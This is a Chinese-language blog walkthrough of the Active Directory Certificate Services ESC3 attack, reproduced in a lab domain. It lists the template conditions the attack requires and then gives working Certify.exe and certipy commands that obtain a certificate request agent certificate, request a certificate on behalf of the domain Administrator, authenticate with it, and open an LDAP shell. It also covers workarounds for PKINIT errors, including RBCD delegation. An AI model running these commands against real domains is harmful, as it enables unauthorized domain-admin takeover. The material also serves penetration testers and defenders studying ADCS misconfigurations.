引用
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://www.cnblogs.com/sakura521/p/15489745.html
https://blog.keniver.com/
需要条件
企业 CA 授予低特权用户注册权限。细节与 ESC1 相同。
批准被禁用。细节与 ESC1 相同。
不需要授权签名。细节与 ESC1 相同。
过于宽松的证书模板安全描述符将证书注册权限授予低特权用户。细节与 ESC1 相同。
证书模板定义证书请求代理 EKU。证书请求代理 OID (1.3.6.1.4.1.311.20.2.1) 允许代表其他委托人请求其他证书模板。
注册代理限制未在 CA 上实施。
大致是证书的应用程序策略 是证书申请代理 ,通过该策略模版进行证书申请,然后通过eku指定其他用户进行伪造
漏洞复现
创造一个证书代理模版 复制users的模板
需要修改的地方为应用程序策略处 修改为证书申请代理
其他不用变化就行
这时候通过 certify 我们可以看到 esc3 的一些属性变更
mspki-certificate-application-policy
应用程序策略为 证书申请代理,满足低权限用户进行注册
申请certify 的esc3 证书
Certify.exe request /ca:"dc.x.com\X-DC-CA" /template:ESC3
注入伪造用户pfx
Certify.exe request /ca:"dc.x.com\X-DC-CA" /template:User /onbehalfof:X\administrator /enrollcert:x.pfx
然后转pfx 就行
使用certipy 进行操作
申请代理证书
certipy req -username [email protected] -ca X-DC-CA -template esc3 -dc-ip 192.168.37.188
代理administrator 操作
We can then use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user by specifying the -on-behalf-of. The -on-behalf-of parameter value must be in the form of domain\user, and not the FQDN of the domain, i.e. corp rather than corp.local.
这里 得用 x 不能用x.com 在hosts里也将x 加入hosts x 192.168.37.188
certipy req -username [email protected] -ca X-DC-CA -template User -on-behalf-of 'x\Administrator' -pfx x.pfx -debug
解密 administrator
certipy auth -pfx administrator.pfx -dc-ip 192.168.37.188
这里有两种情况 出现了 KDC_ERR_PADATA_TYPE_NOSUPP
微软的解释
KDC 不支持 PADATA 类型 (预身份验证数据) 正在尝试智能卡登录,但找不到正确的证书。 出现此问题的原因可能是,正在查询错误的证书颁发机构 (CA) ,或者无法联系正确的 CA 以获取域控制器的域控制器或域控制器身份验证证书。
当域控制器没有为智能卡安装证书 (域控制器或域控制器身份验证模板) 时,也会发生这种情况。
如果可以控制 DC ,只要在 AD 的 Computer Configuration -> Administrative Templates (Computers) -> System -> KDC ,将 KDC support for PKInit Freshness Extension 设为 Enable,即可启动 PKInit
或者尝试其他域控
或者打rbcd 通过bloodyad 进行证书连接后 设置rbcd委派sid
高权限pfx 直接连接ldap-shell 进行操作
certipy auth -pfx a.pfx -dc-ip '192.168.37.188' -ldap-shell -debug
标签:域控制器,证书,CA,代理,利用,ec3,adcs,pfx,com
From: https://www.cnblogs.com/xxxxuan/p/17003493.html